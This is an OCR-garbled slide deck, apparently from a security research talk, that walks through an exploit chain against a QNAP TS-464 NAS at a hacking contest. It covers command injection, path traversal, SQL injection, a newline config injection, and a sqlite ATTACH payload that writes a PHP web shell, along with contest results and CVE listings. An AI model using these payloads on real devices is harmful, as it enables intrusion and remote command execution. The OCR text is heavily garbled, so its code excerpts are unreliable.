
EXE
gvrpro_conn_log tool gvrproLogDB
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Command Injection - Code Flow DEV/CORE

user = :id; msg.user = ;id;
device = aaa msg.device = aaa
plain_pwd = MSE.MSg =
. Wrong . Login Fail Store msg in DB
. EXE EXE
user authLogin.cgi qgLogEngined qLogDB

182 qvrpro_conn_log_tool

EEEE

EXE
gvrpro_conn_log tool gvrproLogDB
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Command Injection - Code Flow DEV/CORE

user = :id; msg.user = ;id;
device = aaa msg.device = aaa
plain_pwd = MSE.MSg =
. Wrong Logm Fail Store msg in DB s
@ — " " EXE L

user authlLogin.cgi gLogEngined glLogDB

B -

EXE
gvrpro_conn_log tool gvrproLogDB
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Command Injection - Code Flow DEV/CORE

user = :id; msg.user = ;id;
device = aaa msg.device = aaa
plain_pwd = MSE.MSg =
. Wrong . Login Fail Store msg in DB
. EXE EXE
user authLogin.cgi qgLogEngined qLogDB

system("qvrpro conn log tool

-u-m aaa ..")

Command Injection .
L e
=

EXE
gvrpro_conn_log tool gvrproLogDB
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Path Traversal - Code Flow DEVCORE

. gtoken = correct
| \ user = Alice

EXE

user authlLogin.cgi
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Path Traversal - Code Flow DEVCORE

%78 qtoken 2 IETE

l 522

EXE

. gtoken = correct
user = Alice

user authlLogin.cgi
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Path Traversal - Code Flow DEVCORE

IESD user 25 EE

gtoken = correct 2-Step Verification (2sv)
. user = Alice h

EXE

user authlLogin.cgi
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Path Traversal - Code Flow DEVCORE

gtoken =123
user =
& .J..[..]../sbin/gvrpro conn log tool
»43

user authlLogin.cgi
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Path Traversal - Code Flow DEVCORE

gtoken =123
user =
.J..[..]../sbinfgvrpro conn log tool

%78 qtoken 2 IETE

l 522

EXE

user authlLogin.cgi
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Path Traversal - Code Flow DEVCORE

=2y,

l qtoken &5

EXE

user authlLogin.cgi
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Path Traversal - Code Flow DEVCORE

[o] {5 R 58 < BX

Auth Fail .

EXE

user authlLogin.cgi
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SQL Injection
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SQL Injection - Root Cause DE\/CORE

vold db client search string(char *db path, const char *table,
guery t *query, 1int ret, i1nt num,

SR I
vl3 = sqglite3 open(db_path, &ctx);
for (1 = 0; 1 < num; ++1)
sprintf(where, "%s == '%s'", query.key[1], query.val);

sprintf(sql, "SELECT %s FROM %s WHERE %s;", "*", table, where);
vl7 = sqgqlite3 exec(ctx, sql, sub 18880, ret, v26);
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SQL Injection - Root Cause DE\/CORE

L query BY key #l val - ¥3 db path BY table 117 sqQL =

vold db client search string(char *db path|, const char *EEH!E,

guery t Hqueryf 1int ret, int num,

L) o

vl3 = sqglite3 open(db_path, &ctx);

for (1 = 0; 1 < num; ++1)

sprintf(where, "%s == '%s'", query.key[1], query.val);
sprintf(sql, "SELECT %s FROM %s WHERE %s;", "*", table, where);
vl7 = sglite3 exec(ctx, sql, sub 18880, ret, v26);
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SQL Injection - Root Cause DE\/CORE

vold db client search string(char *db path, const char *table,
guery t *query, 1int ret, i1nt num,

L) o

vl3 = sqlite3 open(db patk 2oty ) -
FA sprintf & query AY key T val 1#71E sql
RBWE query EE O] SQL Injection

sprintf(where, "%s == '%s'", query.key[1], query.val);

for (1 = 0; 1 < num; ++1)

sprintf(sql, "SELECT %s FROM %s WHERE %s;", "*", table, where);
vl7 = sqlite3 exec(ctx, sql, sub 18880, ret, v26);
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SQL Injection - Root Cause DE\/CORE

vold db client search string(char *db path, const char *table,
guery t *query, 1int ret, i1nt num,

e i) %
vl3 = sqglite3 open(db_path, &ctx);

for (1 = ©0; 1 < num; ++1)

= .y 1 A

sprintf(where, "%s =:puswv e . R
sprintf(sql, "SELECT %: A sql #17 sqlite3 Query - ff2£ SQL Injection

vl7 = sqlite3 exec(ctx, sgql, sub 18880, ret, v26);

€e);
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SQL Injection - Code Flow DE\/CORE

EXE EXE
auth Login.cgi gcloud push_notification tool fail_device_db
O |
(T
=

device config session config QNAP Server

176



SQL Injection - Code Flow DE\/CORE

user = Alice
pwd = correct

. func = approve
op=1
—————
. EXE EXE
user authlLogin.cgi qcloud_push_notification_tool fail device db
O |
(T
o

device config session config QNAP Server
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SQL Injection - Code Flow DE\/CORE

user = Alice

pwd = correct A 27
ARG user

. func = approve
op=1
—————

. EXE EXE

user authlLogin.cgi qcloud_push_notification_tool fail device db
O |
(T
ml :

device config session config QNAP Server
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SQL Injection - Code Flow DE\/CORE

user = Alice
pwd = correct

. func = approve

Moo R

op=1
—————
. EXE EXE
user authlLogin.cgi qcloud_push_notification_tool fail device db
O |
(T
ml :

device config session config QNAP Server
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SQL Injection - Code Flow DE\/CORE

user = Alice e
pwd = correct ERER a.PPVOVE
. func = approve EI,‘J session
op=1
. EEEE———
EXE EXE
Uuser aUthLOgin-Cgi qcloud_push_notification_tool fail_device_db
T
(T -
O

device config session config QNAP Server
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SQL Injection - Code Flow DE\/CORE

user = Alice
pwd = correct

0 session 7 Confi

. Zupn: ; approve .
. EXE

EXE
user authlLogin.cgi qcloud_push_notification_tool fail device db

device config session config QNAP Server
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SQL Injection - Code Flow DE\/CORE

user = Alice .

pwd = correct fﬁﬂ] QNAP Server

func = approve A ¥HY session

—

. EXE EXE
user authlLogin.cgi qcloud_push_notification_tool fail device db

T
(T -
oo — €

device config session config QNAP Server
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SQL Injection - Code Flow DE\/CORE

user = Alice
pwd = correct HV 15 user HY pair_id
. func = approve
op=1
—————
. EXE EXE
user authlLogin.cgi qcloud_push_notification_tool fail device db

device config session config QNAP Server
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SQL Injection - Code Flow DE\/CORE

user = Alice NAS %ﬂ@?“ QNAP I‘]EE

pwd = correct B 45 user BY pair_id

func = approve

————

. EXE EXE
user authlLogin.cgi gcloud_push_notification_tool fail device db

O |
(T
o -

device config session config QNAP Server
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SQL Injection - Code Flow DE\/CORE

user = Alice
pwd = correct

func = approve pair_id = <pair_id>
op 1 msg = session

EXE EXE
auth Login.cgi gcloud push_notification tool fail_device_db
O |
(T
ml .

device config session config QNAP Server
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SQL Injection - Code Flow DE\/CORE

user = Alice
pwd = correct

func = approve pair_id = <pair_id>
op 1 msg = session

188 pair_id & KB

~_
EXE -

EXE
auth Login.cgi gcloud push_notification tool fail_device_db
O |
(T
=

device config session config QNAP Server
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SQL Injection - Code Flow DE\/CORE

user = Alice

pwd = correct Call db _client _search string

func = approve pair id = <pair id> query.key = "pair_id"

op=1 1 msg = session session query.val = <pair id>

————————————————————
EXE EXE
auth Login.cgi gcloud push_notification tool fail_device_db

O
(TTd -
ml .

device config session config QNAP Server
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SQL Injection - Code Flow DE\/CORE

user = Alice

owd = correct NR;L I E

func = approve pair_id = <pair_id> query.key = "pair_id"
op=1 1 msg = session session query.val = <pair id>
———————————————————————

EXE EXE
auth Login.cgi gcloud push_notification tool fail_device_db
O |
(T
ml .

device config session config QNAP Server
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SQL Injection - Code Flow DE\/CORE

user = Alice
pwd = correct

func = approve pair_id = <pair_id>
op 1 msg = session

EXE EXE

auth Login.cgi gcloud push_notification tool fail_device_db

query.key = "pair_id"
guery.val = <pair_id>
—————————————————————————-

pair_id = <pair_id>  pyyey
msg = session

device config session config QNAP Server
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SQL Injection - Code Flow DE\/CORE

user = Alice

pwd = correct Call db _client _search string

func = approve pair id = <pair id> query.key = "pair_id"

op=1 1 msg = session session query.val

———————————————————-
EXE EXE
auth Login.cgi gcloud push_notification tool fail_device_db

O |
(T
ml :

device config session config QNAP Server
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SQL Injection - Code Flow DE\/CORE

user = Alice

pwd = correct SQL Injection

func = approve pair id = <pair id> query.key = "pair id"

op=1 1 msg = session session query.val

—————
EXE EXE
auth Login.cgi gcloud push_notification tool fail_device_db

O] -
(T |-
ml :

device config session config QNAP Server
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SQL Injection - Code Flow DE\/CORE

&5 4355 & 2%
user = Alice S50 user B EE

pwd = correct & 22y
ARG user

. func = approve
op=1
—————

. EXE EXE

user authlLogin.cgi qcloud_push_notification_tool fail device db
O |
(T
ml :

device config session config QNAP Server
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SQL Injection - Code Flow DE\/CORE

user = Alice A% AE user T£ device config BY pair_id

wd = correct , -
® Eunc _ approve 1% user Y palr_ld

op=1

—————
. EXE EXE
user authlLogin.cgi qcloud_push_notification_tool fail device db
o

device config session config QNAP Server
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SQL Injection - Code Flow DE\/CORE

A48 password

user = Alice

func = approve

———

. EXE EXE
user authlLogin.cgi qcloud_push_notification_tool fail device db

O |
(T
o -

user config QNAP Server
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SQL Injection - Code Flow DE\/CORE

user = Alice .

func = approve Ak R

e ————

EXE EXE
user authlLogin.cgi qcloud_push_notification_tool fail device db

T
T |
o — i€

user config QNAP Server
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SQL Injection - Code Flow DE\/CORE

user = Alice
func = approve
. EXE EXE
user auth chgin.cgi qcloud_push_notification_tool fail device db

e — 1K
o=

user config QNAP Server
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SQL Injection - Code Flow DE\/CORE

user = Alice 1888 userConfig HY passwordless en == True
func = approve passwordless approve en == True
» = L]
———
EXE EXE
user auth Lcigin.cgi gcloud_push_notification_tool fail device db
_ O |
. -_ = -

user config QNAP Server
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SQL Injection - Code Flow DE\/CORE

user = Alice e
func = approve 318 R 5
el
EXE EXE
user aUthLOgin-Cgi gcloud push notification tool fail_device_db

user config QNAP Server
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SQL Injection - #3E

user

205 S

ﬁ

wiz_func =|get_write_permission

user = guest
pwd = any

EXE

privWizard.cgi

203

DE\/CORE

grant config

user config



SQL Injection - £ %3

user

wiz_func = get_write_permission

user = guest
pwd = any

205 S

:I:IIII'

%"'7-\'(

EXE
privWizard.cgi

204

DE\/CORE

grant config

user config



SQL Injection - #3E

user

wiz_func = get_write_permission

user = guest
pwd = any

205 S

ﬁ

EXE
privWizard.cgi

205

DE\/CORE

grant config

user config



SQL Injection - A& 4=

user

wiz_func = get_write_permission

get write permission pPN\—
- grant config

user = guest
pwd = any

Bk

ﬁ

EXE

privWizard.cgi

206

DE\/CORE

user config



SQL Injection -

user

l\\7'l3

Bk

ﬁ

EXE
privWizard.cgi

207

DE\/CORE

grant config

user config



SQL Injection - 4@ 56 3 DEV/CORE

grant config

user privWizard.cgi

user config
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SQL Injection -

user

l\\7'l3

grant

Bk

ﬁ

EXE
privWizard.cgi

209

DE\/CORE

grant config

user config



SQL Injection - #E%8 5n 5

user

wiz func =|set login setting

user = guest

pwd = any

grant = <grant>
passwordless en=1

passwordless _approve_en = 1.

EXE
privWizard.cgi

210

DE\/CORE

grant config

user config



SQL Injection - #E%8 5n 5

user

wiz func = set login setting

user = guest

pwd = any

grant = <grant>
passwordless en=1

passwordless _approve_en = 1-

A 7%
LT

EXE

privWizard.cgi

211
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grant config

user config



SQL Injection - 438 & & DEV/CORE

wiz func = set login setting
user = guest

pwd = any

grant = <grant>

. passwordless_en =1 ‘
l l passwordless_approve_en =1 srant config
EXE
user privWizard.cgi

user config
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SQL Injection - 438 & & DEV/CORE

wiz func = set login setting
user = guest
pwd = any

grant = <grant> . .
. passwordless en=1 et_Iogln_settmg

l I passwordless approve en=1

grant config

EXE
user privWizard.cgi

user config

PAK



SQL Injection - 438 & & DEV/CORE

wiz func = set login setting
user = guest
pwd = any

grant = <grant> o
. passwordless en =1 ‘
passwordless approve en=1 grant config

user privWizard.cgi

EXE

user config
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SQL Injection - 438 & & DEV/CORE

wiz func = set login setting

user = guest .
pwd = any =% & guest BY userConfig
grant = <grant> passwordless_en=1

. passwordless en=1 passwordless_approve_en=1[2
passwordless_approve_en = 1. grant config
EXE

user privWizard.cgi

user config
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SQL Injection - 438 & & DEV/CORE

user =|guest
. func = approve

———
EXE EXE
user authlLogin.cgi qcloud_push_notification_tool fail device db

user config QNAP Server
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SQL Injection - 4@ 56 3 DEV/CORE

user = guest

func = approve a8 user
—_—
EXE EXE
user authlLogin.cgi qcloud_push_notification_tool fail device db
T
(T
Lk

user config QNAP Server
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SQL Injection - 438 & & DEV/CORE

user = guest

. iupnz ; approve .
«®

EXE EXE
user auth chgin.cgi qcloud_push_notification_tool fail _device_db
HY 1S guest HY userConfig
' T
T |
Il!!|= -

user config QNAP Server
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SQL Injection - #E%8 5n 5 DE\/CORE

user = guest 1 & guest BY passwordless_en == True
func = approve passwordless approve en == True
S =
. EXE EXE
user auth chgin.cgi gcloud_push_notification_tool fail device db
HY 1S guest HY userConfig
. O] -
O |-
ml :

user config QNAP Server
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SQL Injection - 438 & & DEV/CORE

user = guest
. func = approve

———
EXE EXE
user authlLogin.cgi qcloud_push_notification_tool fail device db

user config QNAP Server
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SQL Injection - 38 %€ pair_id DE\/CORE

user = guest y ..
it L)
———————
EXE EXE
user authlLogin.cgi qcloud_push_notification_tool fail device db

device config session config QNAP Server
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SQL Injection - 38 %€ pair_id DE\/CORE

user = guest
func = approve
g - B
———————
EXE EXE
user authlLogin.cgi qcloud_push_notification_tool fail device db
O |
Sync pair id (T
=

device config QNAP Server
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SQL Injection - 38 %€ pair_id DE\/CORE

user = guest
func = approve
———
EXE EXE
user authlLogin.cgi qcloud_push_notification_tool fail device db

SEEASS . .
user ;XX XE pair_id =
O |-
-k

device config QNAP Server

Sync pair_id
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Contest registration closes at{5:00 p.m. Eastern Daylight Time on|Oct 19, 2023

DE\/CORE
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Improper Data Validation




Improper Data Validation - Root Cause DEV/CORE

int gr code add device( 1nt64 al) {
v8 = CGI Find Parameter(al, "register 1i1d");
register id = v8 ? *(v8 + 8) : OLL;

snprintf(device.register_id, ©x100uLL, "%s", register_id);

KIEFHZBAGRTE device WEMSEIEABSZ pair_id;

device auth_add device(&device);

229



Improper Data Validation - Root Cause DEV/CORE

Ik {5 FA & i A\ 3% € device config (R &1 & pair id)

1nt r code add dev1ce(__1nt64 al)|{

v8 = CGI Find Parameter(al, "register 1i1d");
register id = v8 ? *(v8 + 8) : OLL;

snprintf(device.register_id, ©x100uLL, "%s", register_id);

ﬁiﬁ%%ﬁmﬂ\ i€ device FWEMSEIBARSZ pair_id;

device auth_add device(&device);
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Improper Data Validation - Root Cause DEV/CORE

int gr code add device( 1nt64 al) {
v8 = CGI Find Parameter(al, "register 1i1d");

register_1d = V8 ¢ S
2 7E device BY register_id &1 F3 & i A HY register_id

snprintf(device.register_id, ©x100uLL, "%s"”, register_id);

ﬁi@%%ﬁmﬂ\ i€ device FWEMSEIBARSZ pair_id;

device auth_add device(&device);
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Improper Data Validation - Root Cause DEV/CORE

int gr code add device( 1nt64 al) {
v8 = CGI Find Parameter(al, "register 1i1d");
register id = v8 ? *(v8 + 8) : OLL;

snprintf(device.register_id, ©x100uLL, "%s", register_id);

device auth_add device(&device);
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Improper Data Validation - Root Cause DEV/CORE

int gr code add device( 1nt64 al) {
v8 = CGI Find Parameter(al, "register 1i1d");
register id = v8 ? *(v8 + 8) : OLL;

snprintf(device.register_id, ©x100uLL, "%s"”, register_id);

Aﬁiﬁﬁﬁ%ﬂﬁjA%E doviiro PO B ML EIMHAGIS nair id-

/—

1% device WABS —1T—1TE A user BY device config

device auth_add device(&device);
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Improper Data Validation - Root Cause DEV/CORE

bash-3.2# cat /etc/config/.qos_config/users/devcore/device/aaa

[device]
client_id = aaa
register_id = aaa
app_id = aaa
app_version = aaa
os_type = aaa
os_version = aaa
locale =
status
pair_id =
client_agent = aaa
client_app = aaa

0
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Improper Data Validation - Root Cause DEV/CORE

bash-3.2# cat /etc/config/.qos_config/users/devcore/device/aaa

[devicel
client_id = aaa
register_id = aaa
app_id = aaa
app_version = aaa
os_type = aaa
os_version = aaa
locale =
status
pair_id =
client_agent = aaa
client_app = aaa

0
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Improper Data Validation - Root Cause DEV/CORE

bash-3.2# cat /etc/config/.qos_config/users/devcore/device/aaa

[devicel
client_id = aaa
register_id = aaa
app_id = aaa
app_version = aaa
os_type = aaa
os_version = aaa
locale =
status
pair_id =
client_agent = aaa
client_app = aaa

°,
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Improper Data Validation - Root Cause DEV/CORE

bash-3.2# cat /etc/config/.qos_config/users/devcore/device/aaa

[device]l
client_id = aaa
register_id = aaa
app_id = aaa
app_version = aaa
os_type = aaa
os_version = aaa
locale =
status
pair_id =
client_agent = aaa
client_app = aaa

register_id = "aaa\Npair_id = DEVCORE" & #[{d?

0
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Improper Data Validation - Root Cause DEV/CORE

int gr code add device( 1nt64 al) {
v8 = CGI Find Parameter(al, "register 1i1d");
register_1id = v8 ? * 02 O

RBEEFERBR AR register_id B '\n'

snprintf(device.register_id, ©x100uLL, "%s", register_id);

KIEFHZBAGRTE device WEMSEIEABSZ pair_id;

device auth_add device(&device);

238



Improper Data Validation - Root Cause DEV/CORE

bash-3.2# cat /etc/config/.qos_config/users/devcore/device/aaa

[devicel

app_id = aaa
app_version = aaa
os_type = aaa
os_version = aaa
locale =

status 0
pair_id =
client_agent = aaa

client_app = aaa
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Improper Data Validation - Root Cause DEV/CORE

bash-3.2# cat /etc/config/.qos_config/users/devcore/device/aaa

[device]

app_id = aaa
app_version = aaa 5= Config IFEHETEF 17178 FE—E Match BY Key
os_type = aaa

os_version = aaa

locale =

status 0
pair_id =
client_agent = aaa

client_app = aaa
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Improper Data Validation - Root Cause DEV/CORE

bash-3.2# cat /etc/config/.qos_config/users/devcore/device/aaa

[device]

client_id = aaa

register_id = aaa

pair_id = DEVCORE EN15{A3E8Y pair id = DEVCORE (3%l pair id)
app_id = aaa

app_version = aaa

os_type = aaa

os_version = aaa

locale =
status
pair_id =
client_agent = aaa
client_app = aaa

©
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Improper Data Validation — Code Flow DEV/CORE

user = guest
pwd = any
func = qr _code
g - B
EXE
user privWizard.cgi

device config
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Improper Data Validation — Code Flow DEV/CORE

user = guest
pwd = any o 235
func = qr_code l%u& g usSer
EXE
user privWizard.cgi

device config
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Improper Data Validation — Code Flow DEV/CORE

user = guest
pwd = any
func = qr _code
$ = Es
EXE
user privWizard.cgi

device config

244



Improper Data Validation — Code Flow DEV/CORE

W1 session Bl & user = guest

. session

EXE

user privWizard.cgi

device config
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Improper Data Validation — Code Flow DEV/CORE

user = guest
func = qr code
op=>5
session = <session>
register id = a'\npair _id = SQLI .
EXE
user privWizard.cgi

device config
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Improper Data Validation — Code Flow DEV/CORE

user = guest
func = qr code
op=>5 A 237
session = <session> #5E user
register_id = a\npair_id = SQLi
EXE
user privWizard.cgi

device config
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Improper Data Validation — Code Flow DEV/CORE

user = guest
func = qr code
op=>5
session = <session>
register id = a'\npair _id = SQLI -
EXE
user privWizard.cgi

device config
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Improper Data Validation — Code Flow DEV/CORE

user = guest
func = qr code

op =5 .
S : call qr code add device
Ssession = <session> - — — —_—

register id = a'\npair _id = SQLI

EXE
user privWizard.cgi

device config
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Improper Data Validation — Code Flow DEV/CORE

user = guest

func = gr_code

op =5 - .

session = <session> HY1F session RY user (guest)
register id = a'\npair id = SQLi -

EXE
user privWizard.cgi

device config
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Improper Data Validation — Code Flow DEV/CORE

user = guest
func = gr code
op =5 i register id = "a\npair id = SQLi"
session = <session> %A guest EI,‘J device config
register id = a'\npair _id = SQLI -
EXE
user privWizard.cgi

device config
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Improper Data Validation — Code Flow DEV/CORE

user = guest
func = qr code
op = > (B3 pair id = SQLi
session = <session>
register_id = a\npair_id = SQLi -
EXE
user privWizard.cgi

device config
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SQL Injection - Code Flow DE\/CORE

user = guest S
5 B ES

X
. func = approve A=)
op=1
—_——
. EXE EXE

user authlLogin.cgi qcloud_push_notification_tool fail device db

r=1]) o

device config session config QNAP Server
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SQL Injection - Code Flow DE\/CORE

user = guest

. Zupnz ; approve .
. EXE

0 session 7 Confi

EXE
user authlLogin.cgi qcloud_push_notification_tool fail device db
O |
(T
=

device config session config QNAP Server
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SQL Injection - Code Flow DE\/CORE

user = guest 38X QNAP Server
. func = approve B #hBY session
———
. EXE EXE
user authlLogin.cgi qcloud_push_notification_tool fail device db
O |
(T
=

device config session config QNAP Server

255



SQL Injection - Code Flow DE\/CORE

user = guest HY 1S guest BY pair_id
. func = approve
op=1
—————
. EXE EXE
user authlLogin.cgi qcloud_push_notification_tool fail device db

device config session config QNAP Server
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SQL Injection - Code Flow DE\/CORE

user = guest pair_id = SQLi
. func = approve
op=1
———
. EXE EXE
user authlLogin.cgi qcloud_push_notification_tool fail device db

device config session config QNAP Server
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SQL Injection - Code Flow DE\/CORE

user = guest

func = approve pair_id =[SQLil

op 1 msg = session

EXE EXE
auth Login.cgi gcloud push_notification tool fail_device_db

T
(T
=

device config session config QNAP Server
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SQL Injection - Code Flow DE\/CORE

user = guest TR pair_id = i BB

func = approve pair_id =[SQLil

op 1 msg = session

EXE EXE
auth Login.cgi gcloud push_notification tool fail_device_db

T
T |
=

device config session config QNAP Server
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SQL Injection - Code Flow DE\/CORE

user = guest Call db client search string
func = approve pair_id =[SQLil query.key = "pair_id"
op=1 msg = session session query.val =[SQLi
L A— " S
EXE EXE
auth Login.cgi gcloud push_notification tool fail_device_db
O |-
(T -
ml ;

device config session config QNAP Server
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SQL Injection - Code Flow DE\/CORE

user = guest SQL Injection

func = approve pair_id =[SQLil query.key = "pair_id"

op=1 msg = session session query.val =[SQLi

L A— " S
EXE EXE
auth Login.cgi gcloud push_notification tool fail_device_db

O |-
(T -
ml ;

device config session config QNAP Server
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SQL Injection - Code Flow DE\/CORE

user = guest Payload Frx OX4O bytes
func = approve pair_id =[SQLil query.key = palr_ld"
op=1 msg = session session query.val =[SQLi
L A— " S
EXE EXE
auth Login.cgi gcloud push_notification tool fail_device_db
O
(T -
ml ;

device config session config QNAP Server
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SQL Injection - Exploit DEV/CORE

® Payload 73 A% W Ex ¥ 1T
e ';ATTACH'gpkg/a.php'as x;CREATE TABLE x.y(z text);--

e ';ATTACH'gpkg/a.php'as x;insert into x.y select'<?="$ GET[c] ;?>
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SQL Injection - Exploit DEV/CORE

® Payload 73 Ak W Ex ¥ 1T
e ';ATTACH'gpkg/a.php'as x;CREATE TABLE x.y(z text);--

e ';ATTACH'gpkg/a.php'as x;insert into x.y select'<?="$ GET[c] ;?>
o FiE select 1F php script = A DB E4 Web Shell
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SQL Injection - Exploit DEV/CORE

® Payload 73 Ak W Ex ¥ 1T
e ';ATTACH'gpkg/a.php'as x;CREATE TABLE x.y(z text);--

e ';ATTACH'gpkg/a.php'as x;insert into x.y select'<?="$ GET[c] ;?>
o FiE select 1F php script = A DB E4 Web Shell
® Payload [fl|%f 0x40 bytes - B Orange Al Ginoah BIZ&EE )%
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QNAP TS-464 DE\V/CORE

® Command Injection

ok ES Sa Bl

o B LEIT, sprintf = A cmd 17 system(cmd)
e 538 Path Traversal (£ =321 B & S5 tEZ2 & Exploit Chain

® Path Traversal T =ZE Y7 H &4 Patched

[T

® SQL Injection

N A

o SI18E query L sprintf B A sql 1T
® privWizard.cgi )21 & guest OJ LB AR 4E 38 5w za
e 53 Improper Data Validation 2 Config Injection S5 FEZ2{[& Exploit Chain
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#5234 | HEIE 26 /S DE\/CORE

o ZZHRSTALIE WAN ImF] 2l LAN ImBY Exploit

o REETZ A, AIZEE

* STASTEIIT
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10/19 4:00 a.m.
BIE7 26 /)\B5

DE\/CORE
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52 & 1 HEIE 10 /B DE\/CORE

root@EREG5:/1ib/netifd/proto#

WARNING: No route found (no default route?)
WARNING: No route found (no default route?)
WARNING: more No route found (no default route?)

dl

Exception 1in
Traceback (mo
File "Zusr/
self.runi

File “/usr/B File "susr/localslib/puthon3. 11/dist-packages/scapysansmachine.py',
selt._tar] self.send_reply(reply)
File “/medlf fjle "susr/local/lib/python3. 11/dist -packages/scapy/ansmachine.py’,

SESs10n.on_packet_recelved(p
File "susr/local/lib/python3.11/dist-packages/scapy/sessions.py'’, li
result = self.prnipkt)

'"218181a141a38TaTaTalatlale

.dhCEV4—SB' self.send_function(reply, sxkself.optsend)
File “susr/l File "susr/localslibsputhon3. 11/dist-packages/scapy/sendrecy.py'’, 1]
self.snit return _sendf
File "Zusr/fff = ~nnnaa
sniff (ks File "susr/localslib/pythons. 11/dist-packages/scapy/sendrecy.py’, 1)
File " /usr/ results = __gen_send(socket, x, inter=inter, loop=loop,
sniffer. ] ASAANSAAAAAAAAAAAAAAAAAAARAAAAAAAAAANARANAANA
File “susr/l File "susr/localslib/python3.11/dist-packages/scapus/sendrecy.py”, 1i
Sessl1on. o s.send(p)
File KUSEI File "susr/local/lib/python3.11/dist-packages/scapy/arch/linux.py’,
result = | return SuperSocket.send(self, x)

"2 T 2T lalialalalalalalalalaTaTaTaTatlataTalaTaTaTaTa

File "Zusr/local/lib/python3.11/dist-packages/scapy/supersocket. 1 _ NI > ==
return self.outs.send(sx) EJEII:I:II iﬁ?x @Hg ﬁﬁ A

'531a1latlalatalatlalatTalatTaTatTalaTaTatTa

0SError: [Errno 168] Network is down

276



#5234 | HEIE 10 /S DE\/CORE

* WAN Im#as 22 m & — E R 477 Z R E) DHCPv6 Client
o Hop—{EXHEFEITUZ] DHCPV4 IP

o [RIcZIEEfth AEBY DHCPV4 Server 3 1E Exploit &
o [T IZEc A ERE IR DHCPVA Server

o HENREER Exploit BENEE [ ..
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Activities -] Terminal = 18 01:48
6 + ubuntu@ubuntu: ~/exp Q = = B =
ubuntu@ubuntu: ~/exp - ubuntu@ubuntu-virtual-machine: ~/exp ubuntu@ubuntu-virtual-machine: /tmp v

8 ubuntu@ubuntu: $

|"
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SUCCESS - Team ECQ was able to execute achain USINg an S5
vulnerabilities against the QNAP TS-464. They earn $40,000 and 4

B8 1

."', e

3 7 {8

SUCCESS - Team Viettel was able to execute a chain ag \] -
earn $20,000 and 4 Master of Pwn points. . 0
- e ol

SUCCESS - STAR Labs SG was able to execute a[2-bug|chain |

command injection against the QNAP TS-464. They earn $20,
points.

BUG COLLISION|- Thales was able to execute their attack age

However, the exploit they used was previously known. They stillearn $12,500 and 2.5

Master of Pwn points.
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SUCCESS - Team ECQ was able to execute a|3-bug|chain using an SS N = ‘E 3L N =
e G-bugfhain using A 7 &bz
vulnerabilities against the _ They earn $40,000 and 4 SR e———.8 =
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SUCCESS - A DEVCORE Intern was able to execute a stack overflow attack against the TP-
Link Omada Gigabit Router and exploit two bugs in the QNAP TS-464. They earn $50,000

and 10 Master of Pwn points.

BUG COLLISION|- Thales was able to execute their attack ag:

However, the exploit they used was previously known. They still'earn %
Master of Pwn points.
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Canon Printer
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Canon Printer
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Canon Printer
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Canon Printer DE\/CORE
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Canon Printer DE\/CORE
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FAILURE - The DEVCORE Intern was unable to get their exploit of the Canon imageCLASS
MF753Cdw working within the time allotted.
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Security Advisories DE\/CORE

® QNAP
® CVE-2024-21899: #E3B ERqE
® CVE-2024-21900: Improper Data Validation
® CVE-2024-21901: SQL Injection
® TP-Link
® CVE-2024-1179: Stack Buffer Overflow
® Canon
® 7ZDI-CAN-22557: [8i7R A%
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